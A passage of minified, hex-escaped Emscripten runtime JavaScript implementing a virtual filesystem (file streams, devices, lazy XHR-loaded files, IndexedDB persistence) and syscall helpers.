.ErrnoError(ERRNO_CODES.EPERM)}node.node_ops.setattr(node,{timestamp:Date.now()})}),lchown:(function(path,uid,gid){FS.chown(path,uid,gid,true)}),fchown:(function(fd,uid,gid){var\x20stream=FS.getStream(fd);if(!stream){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF)}FS.chown(stream.node,uid,gid)}),truncate:(function(path,len){if(len<0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}var\x20node;if(typeof\x20path===\x22string\x22){var\x20lookup=FS.lookupPath(path,{follow:true});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isDir(node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!FS.isFile(node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}var\x20err=FS.nodePermissions(node,\x22w\x22);if(err){throw\x20new\x20FS.ErrnoError(err)}node.node_ops.setattr(node,{size:len,timestamp:Date.now()})}),ftruncate:(function(fd,len){var\x20stream=FS.getStream(fd);if(!stream){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF)}if((stream.flags&2097155)===0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}FS.truncate(stream.node,len)}),utime:(function(path,atime,mtime){var\x20lookup=FS.lookupPath(path,{follow:true});var\x20node=lookup.node;node.node_ops.setattr(node,{timestamp:Math.max(atime,mtime)})}),open:(function(path,flags,mode,fd_start,fd_end){if(path===\x22\x22){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT)}flags=typeof\x20flags===\x22string\x22?FS.modeStringToFlags(flags):flags;mode=typeof\x20mode===\x22undefined\x22?438:mode;if(flags&64){mode=mode&4095|32768}else{mode=0}var\x20node;if(typeof\x20path===\x22object\x22){node=path}else{path=PATH.normalize(path);try{var\x20lookup=FS.lookupPath(path,{follow:!(flags&131072)});node=lookup.node}catch(e){}}var\x20created=false;if(flags&64){if(node){if(flags&128){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EEXIST)}}else{node=FS.mknod(path,mode,0);created=true}}if(!node){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT)}if(FS.isChrdev(node.mode)){flags&=~512}if(flags&65536&&!FS.isDir(node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOTDIR)}if(!created){var\x20err=FS.mayOpen(node,flags);if(err){throw\x20new\x20FS.ErrnoError(err)}}if(flags&512){FS.truncate(node,0)}flags&=~(128|512);var\x20stream=FS.createStream({node:node,path:FS.getPath(node),flags:flags,seekable:true,position:0,stream_ops:node.stream_ops,ungotten:[],error:false},fd_start,fd_end);if(stream.stream_ops.open){stream.stream_ops.open(stream)}if(Module[\x22logReadFiles\x22]&&!(flags&1)){if(!FS.readFiles)FS.readFiles={};if(!(path\x20in\x20FS.readFiles)){FS.readFiles[path]=1;Module[\x22printErr\x22](\x22read\x20file:\x20\x22+path)}}try{if(FS.trackingDelegate[\x22onOpenFile\x22]){var\x20trackingFlags=0;if((flags&2097155)!==1){trackingFlags|=FS.tracking.openFlags.READ}if((flags&2097155)!==0){trackingFlags|=FS.tracking.openFlags.WRITE}FS.trackingDelegate[\x22onOpenFile\x22](path,trackingFlags)}}catch(e){console.log(\x22FS.trackingDelegate[\x27onOpenFile\x27](\x27\x22+path+\x22\x27,\x20flags)\x20threw\x20an\x20exception:\x20\x22+e.message)}return\x20stream}),close:(function(stream){if(stream.getdents)stream.getdents=null;try{if(stream.stream_ops.close){stream.stream_ops.close(stream)}}catch(e){throw\x20e}finally{FS.closeStream(stream.fd)}}),llseek:(function(stream,offset,whence){if(!stream.seekable||!stream.stream_ops.llseek){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ESPIPE)}stream.position=stream.stream_ops.llseek(stream,offset,whence);stream.ungotten=[];return\x20stream.position}),read:(function(stream,buffer,offset,length,position){if(length<0||position<0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===1){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF)}if(FS.isDir(stream.node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!stream.stream_ops.read){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}var\x20seeking=true;if(typeof\x20position===\x22undefined\x22){position=stream.position;seeking=false}else\x20if(!stream.seekable){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ESPIPE)}var\x20bytesRead=stream.stream_ops.read(stream,buffer,offset,length,position);if(!seeking)stream.position+=bytesRead;return\x20bytesRead}),write:(function(stream,buffer,offset,length,position,canOwn){if(length<0||position<0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF)}if(FS.isDir(stream.node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!stream.stream_ops.write){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}if(stream.flags&1024){FS.llseek(stream,0,2)}var\x20seeking=true;if(typeof\x20position===\x22undefined\x22){position=stream.position;seeking=false}else\x20if(!stream.seekable){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ESPIPE)}var\x20bytesWritten=stream.stream_ops.write(stream,buffer,offset,length,position,canOwn);if(!seeking)stream.position+=bytesWritten;try{if(stream.path&&FS.trackingDelegate[\x22onWriteToFile\x22])FS.trackingDelegate[\x22onWriteToFile\x22](stream.path)}catch(e){console.log(\x22FS.trackingDelegate[\x27onWriteToFile\x27](\x27\x22+path+\x22\x27)\x20threw\x20an\x20exception:\x20\x22+e.message)}return\x20bytesWritten}),allocate:(function(stream,offset,length){if(offset<0||length<=0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF)}if(!FS.isFile(stream.node.mode)&&!FS.isDir(stream.node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENODEV)}if(!stream.stream_ops.allocate){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)}stream.stream_ops.allocate(stream,offset,length)}),mmap:(function(stream,buffer,offset,length,position,prot,flags){if((stream.flags&2097155)===1){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EACCES)}if(!stream.stream_ops.mmap){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENODEV)}return\x20stream.stream_ops.mmap(stream,buffer,offset,length,position,prot,flags)}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!stream||!stream.stream_ops.msync){return\x200}return\x20stream.stream_ops.msync(stream,buffer,offset,length,mmapFlags)}),munmap:(function(stream){return\x200}),ioctl:(function(stream,cmd,arg){if(!stream.stream_ops.ioctl){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOTTY)}return\x20stream.stream_ops.ioctl(stream,cmd,arg)}),readFile:(function(path,opts){opts=opts||{};opts.flags=opts.flags||\x22r\x22;opts.encoding=opts.encoding||\x22binary\x22;if(opts.encoding!==\x22utf8\x22&&opts.encoding!==\x22binary\x22){throw\x20new\x20Error(\x27Invalid\x20encoding\x20type\x20\x22\x27+opts.encoding+\x27\x22\x27)}var\x20ret;var\x20stream=FS.open(path,opts.flags);var\x20stat=FS.stat(path);var\x20length=stat.size;var\x20buf=new\x20Uint8Array(length);FS.read(stream,buf,0,length,0);if(opts.encoding===\x22utf8\x22){ret=UTF8ArrayToString(buf,0)}else\x20if(opts.encoding===\x22binary\x22){ret=buf}FS.close(stream);return\x20ret}),writeFile:(function(path,data,opts){opts=opts||{};opts.flags=opts.flags||\x22w\x22;opts.encoding=opts.encoding||\x22utf8\x22;if(opts.encoding!==\x22utf8\x22&&opts.encoding!==\x22binary\x22){throw\x20new\x20Error(\x27Invalid\x20encoding\x20type\x20\x22\x27+opts.encoding+\x27\x22\x27)}var\x20stream=FS.open(path,opts.flags,opts.mode);if(opts.encoding===\x22utf8\x22){var\x20buf=new\x20Uint8Array(lengthBytesUTF8(data)+1);var\x20actualNumBytes=stringToUTF8Array(data,buf,0,buf.length);FS.write(stream,buf,0,actualNumBytes,0,opts.canOwn)}else\x20if(opts.encoding===\x22binary\x22){FS.write(stream,data,0,data.length,0,opts.canOwn)}FS.close(stream)}),cwd:(function(){return\x20FS.currentPath}),chdir:(function(path){var\x20lookup=FS.lookupPath(path,{follow:true});if(lookup.node===null){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!FS.isDir(lookup.node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOTDIR)}var\x20err=FS.nodePermissions(lookup.node,\x22x\x22);if(err){throw\x20new\x20FS.ErrnoError(err)}FS.currentPath=lookup.path}),createDefaultDirectories:(function(){FS.mkdir(\x22/tmp\x22);FS.mkdir(\x22/home\x22);FS.mkdir(\x22/home/web_user\x22)}),createDefaultDevices:(function(){FS.mkdir(\x22/dev\x22);FS.registerDevice(FS.makedev(1,3),{read:(function(){return\x200}),write:(function(stream,buffer,offset,length,pos){return\x20length})});FS.mkdev(\x22/dev/null\x22,FS.makedev(1,3));TTY.register(FS.makedev(5,0),TTY.default_tty_ops);TTY.register(FS.makedev(6,0),TTY.default_tty1_ops);FS.mkdev(\x22/dev/tty\x22,FS.makedev(5,0));FS.mkdev(\x22/dev/tty1\x22,FS.makedev(6,0));var\x20random_device;if(typeof\x20crypto!==\x22undefined\x22){var\x20randomBuffer=new\x20Uint8Array(1);random_device=(function(){crypto.getRandomValues(randomBuffer);return\x20randomBuffer[0]})}else\x20if(ENVIRONMENT_IS_NODE){random_device=(function(){return\x20require(\x22crypto\x22).randomBytes(1)[0]})}else{random_device=(function(){return\x20Math.random()*256|0})}FS.createDevice(\x22/dev\x22,\x22random\x22,random_device);FS.createDevice(\x22/dev\x22,\x22urandom\x22,random_device);FS.mkdir(\x22/dev/shm\x22);FS.mkdir(\x22/dev/shm/tmp\x22)}),createSpecialDirectories:(function(){FS.mkdir(\x22/proc\x22);FS.mkdir(\x22/proc/self\x22);FS.mkdir(\x22/proc/self/fd\x22);FS.mount({mount:(function(){var\x20node=FS.createNode(\x22/proc/self\x22,\x22fd\x22,16384|511,73);node.node_ops={lookup:(function(parent,name){var\x20fd=+name;var\x20stream=FS.getStream(fd);if(!stream)throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF);var\x20ret={parent:null,mount:{mountpoint:\x22fake\x22},node_ops:{readlink:(function(){return\x20stream.path})}};ret.parent=ret;return\x20ret})};return\x20node})},{},\x22/proc/self/fd\x22)}),createStandardStreams:(function(){if(Module[\x22stdin\x22]){FS.createDevice(\x22/dev\x22,\x22stdin\x22,Module[\x22stdin\x22])}else{FS.symlink(\x22/dev/tty\x22,\x22/dev/stdin\x22)}if(Module[\x22stdout\x22]){FS.createDevice(\x22/dev\x22,\x22stdout\x22,null,Module[\x22stdout\x22])}else{FS.symlink(\x22/dev/tty\x22,\x22/dev/stdout\x22)}if(Module[\x22stderr\x22]){FS.createDevice(\x22/dev\x22,\x22stderr\x22,null,Module[\x22stderr\x22])}else{FS.symlink(\x22/dev/tty1\x22,\x22/dev/stderr\x22)}var\x20stdin=FS.open(\x22/dev/stdin\x22,\x22r\x22);assert(stdin.fd===0,\x22invalid\x20handle\x20for\x20stdin\x20(\x22+stdin.fd+\x22)\x22);var\x20stdout=FS.open(\x22/dev/stdout\x22,\x22w\x22);assert(stdout.fd===1,\x22invalid\x20handle\x20for\x20stdout\x20(\x22+stdout.fd+\x22)\x22);var\x20stderr=FS.open(\x22/dev/stderr\x22,\x22w\x22);assert(stderr.fd===2,\x22invalid\x20handle\x20for\x20stderr\x20(\x22+stderr.fd+\x22)\x22)}),ensureErrnoError:(function(){if(FS.ErrnoError)return;FS.ErrnoError=function\x20ErrnoError(errno,node){this.node=node;this.setErrno=(function(errno){this.errno=errno;for(var\x20key\x20in\x20ERRNO_CODES){if(ERRNO_CODES[key]===errno){this.code=key;break}}});this.setErrno(errno);this.message=ERRNO_MESSAGES[errno]};FS.ErrnoError.prototype=new\x20Error;FS.ErrnoError.prototype.constructor=FS.ErrnoError;[ERRNO_CODES.ENOENT].forEach((function(code){FS.genericErrors[code]=new\x20FS.ErrnoError(code);FS.genericErrors[code].stack=\x22<generic\x20error,\x20no\x20stack>\x22}))}),staticInit:(function(){FS.ensureErrnoError();FS.nameTable=new\x20Array(4096);FS.mount(MEMFS,{},\x22/\x22);FS.createDefaultDirectories();FS.createDefaultDevices();FS.createSpecialDirectories();FS.filesystems={\x22MEMFS\x22:MEMFS,\x22IDBFS\x22:IDBFS,\x22NODEFS\x22:NODEFS,\x22WORKERFS\x22:WORKERFS}}),init:(function(input,output,error){assert(!FS.init.initialized,\x22FS.init\x20was\x20previously\x20called.\x20If\x20you\x20want\x20to\x20initialize\x20later\x20with\x20custom\x20parameters,\x20remove\x20any\x20earlier\x20calls\x20(note\x20that\x20one\x20is\x20automatically\x20added\x20to\x20the\x20generated\x20code)\x22);FS.init.initialized=true;FS.ensureErrnoError();Module[\x22stdin\x22]=input||Module[\x22stdin\x22];Module[\x22stdout\x22]=output||Module[\x22stdout\x22];Module[\x22stderr\x22]=error||Module[\x22stderr\x22];FS.createStandardStreams()}),quit:(function(){FS.init.initialized=false;var\x20fflush=Module[\x22_fflush\x22];if(fflush)fflush(0);for(var\x20i=0;i<FS.streams.length;i++){var\x20stream=FS.streams[i];if(!stream){continue}FS.close(stream)}}),getMode:(function(canRead,canWrite){var\x20mode=0;if(canRead)mode|=292|73;if(canWrite)mode|=146;return\x20mode}),joinPath:(function(parts,forceRelative){var\x20path=PATH.join.apply(null,parts);if(forceRelative&&path[0]==\x22/\x22)path=path.substr(1);return\x20path}),absolutePath:(function(relative,base){return\x20PATH.resolve(base,relative)}),standardizePath:(function(path){return\x20PATH.normalize(path)}),findObject:(function(path,dontResolveLastLink){var\x20ret=FS.analyzePath(path,dontResolveLastLink);if(ret.exists){return\x20ret.object}else{___setErrNo(ret.error);return\x20null}}),analyzePath:(function(path,dontResolveLastLink){try{var\x20lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});path=lookup.path}catch(e){}var\x20ret={isRoot:false,exists:false,error:0,name:null,path:null,object:null,parentExists:false,parentPath:null,parentObject:null};try{var\x20lookup=FS.lookupPath(path,{parent:true});ret.parentExists=true;ret.parentPath=lookup.path;ret.parentObject=lookup.node;ret.name=PATH.basename(path);lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});ret.exists=true;ret.path=lookup.path;ret.object=lookup.node;ret.name=lookup.node.name;ret.isRoot=lookup.path===\x22/\x22}catch(e){ret.error=e.errno}return\x20ret}),createFolder:(function(parent,name,canRead,canWrite){var\x20path=PATH.join2(typeof\x20parent===\x22string\x22?parent:FS.getPath(parent),name);var\x20mode=FS.getMode(canRead,canWrite);return\x20FS.mkdir(path,mode)}),createPath:(function(parent,path,canRead,canWrite){parent=typeof\x20parent===\x22string\x22?parent:FS.getPath(parent);var\x20parts=path.split(\x22/\x22).reverse();while(parts.length){var\x20part=parts.pop();if(!part)continue;var\x20current=PATH.join2(parent,part);try{FS.mkdir(current)}catch(e){}parent=current}return\x20current}),createFile:(function(parent,name,properties,canRead,canWrite){var\x20path=PATH.join2(typeof\x20parent===\x22string\x22?parent:FS.getPath(parent),name);var\x20mode=FS.getMode(canRead,canWrite);return\x20FS.create(path,mode)}),createDataFile:(function(parent,name,data,canRead,canWrite,canOwn){var\x20path=name?PATH.join2(typeof\x20parent===\x22string\x22?parent:FS.getPath(parent),name):parent;var\x20mode=FS.getMode(canRead,canWrite);var\x20node=FS.create(path,mode);if(data){if(typeof\x20data===\x22string\x22){var\x20arr=new\x20Array(data.length);for(var\x20i=0,len=data.length;i<len;++i)arr[i]=data.charCodeAt(i);data=arr}FS.chmod(node,mode|146);var\x20stream=FS.open(node,\x22w\x22);FS.write(stream,data,0,data.length,0,canOwn);FS.close(stream);FS.chmod(node,mode)}return\x20node}),createDevice:(function(parent,name,input,output){var\x20path=PATH.join2(typeof\x20parent===\x22string\x22?parent:FS.getPath(parent),name);var\x20mode=FS.getMode(!!input,!!output);if(!FS.createDevice.major)FS.createDevice.major=64;var\x20dev=FS.makedev(FS.createDevice.major++,0);FS.registerDevice(dev,{open:(function(stream){stream.seekable=false}),close:(function(stream){if(output&&output.buffer&&output.buffer.length){output(10)}}),read:(function(stream,buffer,offset,length,pos){var\x20bytesRead=0;for(var\x20i=0;i<length;i++){var\x20result;try{result=input()}catch(e){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EIO)}if(result===undefined&&bytesRead===0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EAGAIN)}if(result===null||result===undefined)break;bytesRead++;buffer[offset+i]=result}if(bytesRead){stream.node.timestamp=Date.now()}return\x20bytesRead}),write:(function(stream,buffer,offset,length,pos){for(var\x20i=0;i<length;i++){try{output(buffer[offset+i])}catch(e){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EIO)}}if(length){stream.node.timestamp=Date.now()}return\x20i})});return\x20FS.mkdev(path,mode,dev)}),createLink:(function(parent,name,target,canRead,canWrite){var\x20path=PATH.join2(typeof\x20parent===\x22string\x22?parent:FS.getPath(parent),name);return\x20FS.symlink(target,path)}),forceLoadFile:(function(obj){if(obj.isDevice||obj.isFolder||obj.link||obj.contents)return\x20true;var\x20success=true;if(typeof\x20XMLHttpRequest!==\x22undefined\x22){throw\x20new\x20Error(\x22Lazy\x20loading\x20should\x20have\x20been\x20performed\x20(contents\x20set)\x20in\x20createLazyFile,\x20but\x20it\x20was\x20not.\x20Lazy\x20loading\x20only\x20works\x20in\x20web\x20workers.\x20Use\x20--embed-file\x20or\x20--preload-file\x20in\x20emcc\x20on\x20the\x20main\x20thread.\x22)}else\x20if(Module[\x22read\x22]){try{obj.contents=intArrayFromString(Module[\x22read\x22](obj.url),true);obj.usedBytes=obj.contents.length}catch(e){success=false}}else{throw\x20new\x20Error(\x22Cannot\x20load\x20without\x20read()\x20or\x20XMLHttpRequest.\x22)}if(!success)___setErrNo(ERRNO_CODES.EIO);return\x20success}),createLazyFile:(function(parent,name,url,canRead,canWrite){function\x20LazyUint8Array(){this.lengthKnown=false;this.chunks=[]}LazyUint8Array.prototype.get=function\x20LazyUint8Array_get(idx){if(idx>this.length-1||idx<0){return\x20undefined}var\x20chunkOffset=idx%this.chunkSize;var\x20chunkNum=idx/this.chunkSize|0;return\x20this.getter(chunkNum)[chunkOffset]};LazyUint8Array.prototype.setDataGetter=function\x20LazyUint8Array_setDataGetter(getter){this.getter=getter};LazyUint8Array.prototype.cacheLength=function\x20LazyUint8Array_cacheLength(){var\x20xhr=new\x20XMLHttpRequest;xhr.open(\x22HEAD\x22,url,false);xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw\x20new\x20Error(\x22Couldn\x27t\x20load\x20\x22+url+\x22.\x20Status:\x20\x22+xhr.status);var\x20datalength=Number(xhr.getResponseHeader(\x22Content-length\x22));var\x20header;var\x20hasByteServing=(header=xhr.getResponseHeader(\x22Accept-Ranges\x22))&&header===\x22bytes\x22;var\x20usesGzip=(header=xhr.getResponseHeader(\x22Content-Encoding\x22))&&header===\x22gzip\x22;var\x20chunkSize=1024*1024;if(!hasByteServing)chunkSize=datalength;var\x20doXHR=(function(from,to){if(from>to)throw\x20new\x20Error(\x22invalid\x20range\x20(\x22+from+\x22,\x20\x22+to+\x22)\x20or\x20no\x20bytes\x20requested!\x22);if(to>datalength-1)throw\x20new\x20Error(\x22only\x20\x22+datalength+\x22\x20bytes\x20available!\x20programmer\x20error!\x22);var\x20xhr=new\x20XMLHttpRequest;xhr.open(\x22GET\x22,url,false);if(datalength!==chunkSize)xhr.setRequestHeader(\x22Range\x22,\x22bytes=\x22+from+\x22-\x22+to);if(typeof\x20Uint8Array!=\x22undefined\x22)xhr.responseType=\x22arraybuffer\x22;if(xhr.overrideMimeType){xhr.overrideMimeType(\x22text/plain;\x20charset=x-user-defined\x22)}xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw\x20new\x20Error(\x22Couldn\x27t\x20load\x20\x22+url+\x22.\x20Status:\x20\x22+xhr.status);if(xhr.response!==undefined){return\x20new\x20Uint8Array(xhr.response||[])}else{return\x20intArrayFromString(xhr.responseText||\x22\x22,true)}});var\x20lazyArray=this;lazyArray.setDataGetter((function(chunkNum){var\x20start=chunkNum*chunkSize;var\x20end=(chunkNum+1)*chunkSize-1;end=Math.min(end,datalength-1);if(typeof\x20lazyArray.chunks[chunkNum]===\x22undefined\x22){lazyArray.chunks[chunkNum]=doXHR(start,end)}if(typeof\x20lazyArray.chunks[chunkNum]===\x22undefined\x22)throw\x20new\x20Error(\x22doXHR\x20failed!\x22);return\x20lazyArray.chunks[chunkNum]}));if(usesGzip||!datalength){chunkSize=datalength=1;datalength=this.getter(0).length;chunkSize=datalength;console.log(\x22LazyFiles\x20on\x20gzip\x20forces\x20download\x20of\x20the\x20whole\x20file\x20when\x20length\x20is\x20accessed\x22)}this._length=datalength;this._chunkSize=chunkSize;this.lengthKnown=true};if(typeof\x20XMLHttpRequest!==\x22undefined\x22){if(!ENVIRONMENT_IS_WORKER)throw\x22Cannot\x20do\x20synchronous\x20binary\x20XHRs\x20outside\x20webworkers\x20in\x20modern\x20browsers.\x20Use\x20--embed-file\x20or\x20--preload-file\x20in\x20emcc\x22;var\x20lazyArray=new\x20LazyUint8Array;Object.defineProperties(lazyArray,{length:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return\x20this._length})},chunkSize:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return\x20this._chunkSize})}});var\x20properties={isDevice:false,contents:lazyArray}}else{var\x20properties={isDevice:false,url:url}}var\x20node=FS.createFile(parent,name,properties,canRead,canWrite);if(properties.contents){node.contents=properties.contents}else\x20if(properties.url){node.contents=null;node.url=properties.url}Object.defineProperties(node,{usedBytes:{get:(function(){return\x20this.contents.length})}});var\x20stream_ops={};var\x20keys=Object.keys(node.stream_ops);keys.forEach((function(key){var\x20fn=node.stream_ops[key];stream_ops[key]=function\x20forceLoadLazyFile(){if(!FS.forceLoadFile(node)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EIO)}return\x20fn.apply(null,arguments)}}));stream_ops.read=function\x20stream_ops_read(stream,buffer,offset,length,position){if(!FS.forceLoadFile(node)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EIO)}var\x20contents=stream.node.contents;if(position>=contents.length)return\x200;var\x20size=Math.min(contents.length-position,length);assert(size>=0);if(contents.slice){for(var\x20i=0;i<size;i++){buffer[offset+i]=contents[position+i]}}else{for(var\x20i=0;i<size;i++){buffer[offset+i]=contents.get(position+i)}}return\x20size};node.stream_ops=stream_ops;return\x20node}),createPreloadedFile:(function(parent,name,url,canRead,canWrite,onload,onerror,dontCreateFile,canOwn,preFinish){Browser.init();var\x20fullname=name?PATH.resolve(PATH.join2(parent,name)):parent;var\x20dep=getUniqueRunDependency(\x22cp\x20\x22+fullname);function\x20processData(byteArray){function\x20finish(byteArray){if(preFinish)preFinish();if(!dontCreateFile){FS.createDataFile(parent,name,byteArray,canRead,canWrite,canOwn)}if(onload)onload();removeRunDependency(dep)}var\x20handled=false;Module[\x22preloadPlugins\x22].forEach((function(plugin){if(handled)return;if(plugin[\x22canHandle\x22](fullname)){plugin[\x22handle\x22](byteArray,fullname,finish,(function(){if(onerror)onerror();removeRunDependency(dep)}));handled=true}}));if(!handled)finish(byteArray)}addRunDependency(dep);if(typeof\x20url==\x22string\x22){Browser.asyncLoad(url,(function(byteArray){processData(byteArray)}),onerror)}else{processData(url)}}),indexedDB:(function(){return\x20window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB}),DB_NAME:(function(){return\x22EM_FS_\x22+window.location.pathname}),DB_VERSION:20,DB_STORE_NAME:\x22FILE_DATA\x22,saveFilesToDB:(function(paths,onload,onerror){onload=onload||(function(){});onerror=onerror||(function(){});var\x20indexedDB=FS.indexedDB();try{var\x20openRequest=indexedDB.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return\x20onerror(e)}openRequest.onupgradeneeded=function\x20openRequest_onupgradeneeded(){console.log(\x22creating\x20db\x22);var\x20db=openRequest.result;db.createObjectStore(FS.DB_STORE_NAME)};openRequest.onsuccess=function\x20openRequest_onsuccess(){var\x20db=openRequest.result;var\x20transaction=db.transaction([FS.DB_STORE_NAME],\x22readwrite\x22);var\x20files=transaction.objectStore(FS.DB_STORE_NAME);var\x20ok=0,fail=0,total=paths.length;function\x20finish(){if(fail==0)onload();else\x20onerror()}paths.forEach((function(path){var\x20putRequest=files.put(FS.analyzePath(path).object.contents,path);putRequest.onsuccess=function\x20putRequest_onsuccess(){ok++;if(ok+fail==total)finish()};putRequest.onerror=function\x20putRequest_onerror(){fail++;if(ok+fail==total)finish()}}));transaction.onerror=onerror};openRequest.onerror=onerror}),loadFilesFromDB:(function(paths,onload,onerror){onload=onload||(function(){});onerror=onerror||(function(){});var\x20indexedDB=FS.indexedDB();try{var\x20openRequest=indexedDB.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return\x20onerror(e)}openRequest.onupgradeneeded=onerror;openRequest.onsuccess=function\x20openRequest_onsuccess(){var\x20db=openRequest.result;try{var\x20transaction=db.transaction([FS.DB_STORE_NAME],\x22readonly\x22)}catch(e){onerror(e);return}var\x20files=transaction.objectStore(FS.DB_STORE_NAME);var\x20ok=0,fail=0,total=paths.length;function\x20finish(){if(fail==0)onload();else\x20onerror()}paths.forEach((function(path){var\x20getRequest=files.get(path);getRequest.onsuccess=function\x20getRequest_onsuccess(){if(FS.analyzePath(path).exists){FS.unlink(path)}FS.createDataFile(PATH.dirname(path),PATH.basename(path),getRequest.result,true,true,true);ok++;if(ok+fail==total)finish()};getRequest.onerror=function\x20getRequest_onerror(){fail++;if(ok+fail==total)finish()}}));transaction.onerror=onerror};openRequest.onerror=onerror})};var\x20SYSCALLS={DEFAULT_POLLMASK:5,mappings:{},umask:511,calculateAt:(function(dirfd,path){if(path[0]!==\x22/\x22){var\x20dir;if(dirfd===-100){dir=FS.cwd()}else{var\x20dirstream=FS.getStream(dirfd);if(!dirstream)throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF);dir=dirstream.path}path=PATH.join2(dir,path)}return\x20path}),doStat:(function(func,path,buf){try{var\x20stat=func(path)}catch(e){if(e&&e.node&&PATH.normalize(path)!==PATH.normalize(FS.getPath(e.node))){return-ERRNO_CODES.ENOTDIR}throw\x20e}HEAP32[buf>>2]=stat.dev;HEAP32[buf+4>>2]=0;HEAP32[buf+8>>2]=stat.ino;HEAP32[buf+12>>2]=stat.mode;HEAP32[buf+16>>2]=stat.nlink;HEAP32[buf+20>>2]=stat.uid;HEAP32[buf+24>>2]=stat.gid;HEAP32[buf+28>>2]=stat.rdev;HEAP32[buf+32>>2]=0;HEAP32[buf+36>>2]=stat.size;HEAP32[buf+40>>2]=4096;HEAP32[buf+44>>2]=stat.blocks;HEAP32[buf+48>>2]=stat.atime.getTime()/1e3|0;HEAP32[buf+52>>2]=0;HEAP32[buf+56>>2]=stat.mtime.getTime()/1e3|0;HEAP32[buf+60>>2]=0;HEAP32[buf+64>>2]=stat.ctime.getTime()/1e3|0;HEAP32[buf+68>>2]=0;HEAP32[buf+72>>2]=stat.ino;return\x200}),doMsync:(function(addr,stream,len,flags){var\x20buffer=new\x20Uint8Array(HEAPU8.subarray(addr,addr+len));FS.msync(stream,buffer,0,len,flags)}),doMkdir:(function(path,mode){path=PATH.normalize(path);if(path[path.length-1]===\x22/\x22)path=path.substr(0,path.length-1);FS.mkdir(path,mode,0);return\x200}),doMknod:(function(path,mode,dev){switch(mode&61440){case\x2032768:case\x208192:case\x2024576:case\x204096:case\x2049152:break;default:return-ERRNO_CODES.EINVAL}FS.mknod(path,mode,dev);return\x200}),doReadlink:(function(path,buf,bufsize){if(bufsize<=0)return-ERRNO_CODES.EINVAL;var\x20ret=FS.readlink(path);var\x20len=Math.min(bufsize,lengthBytesUTF8(ret));var\x20endChar=HEAP8[buf+len];stringToUTF8(ret,buf,bufsize+1);HEAP8[buf+len]=endChar;return\x20len}),doAccess:(function(path,amode){if(amode&~7){return-ERRNO_CODES.EINVAL}var\x20node;var\x20lookup=FS.lookupPath(path,{follow:true});node=lookup.node;var\x20perms=\x22\x22;if(amode&4)perms+=\x22r\x22;if(amode&2)perms+=\x22w\x22;if(amode&1)perms+=\x22x\x22;if(perms&&FS.nodePermissions(node,perms)){return-ERRNO_CODES.EACCES}return\x200}),doDup:(function(path,flags,suggestFD){var\x20suggest=FS.getStream(suggestFD);if(suggest)FS.close(suggest);return\x20FS.open(path,flags,0,suggestFD,suggestFD).fd}),doReadv:(function(stream,iov,iovcnt,offset){var\x20ret=0;for(var\x20i=0;i<iovcnt;i++){var\x20ptr=HEAP32[iov+i*8>>2];var\x20len=HEAP32[iov+(i*8+4)>>2];var\x20curr=FS.read(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr;if(curr<len)break}return\x20ret}),doWritev:(function(stream,iov,iovcnt,offset){var\x20ret=0;for(var\x20i=0;i<iovcnt;i++){var\x20ptr=HEAP32[iov+i*8>>2];var\x20len=HEAP32[iov+(i*8+4)>>2];var\x20curr=FS.write(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr}return\x20ret}),varargs:0,get:(function(varargs){SYSCALLS.varargs+=4;var\x20ret=HEAP32[SYSCALLS.varargs-4>>2];return\x20ret}),getStr:(function(){var\x20ret=Poin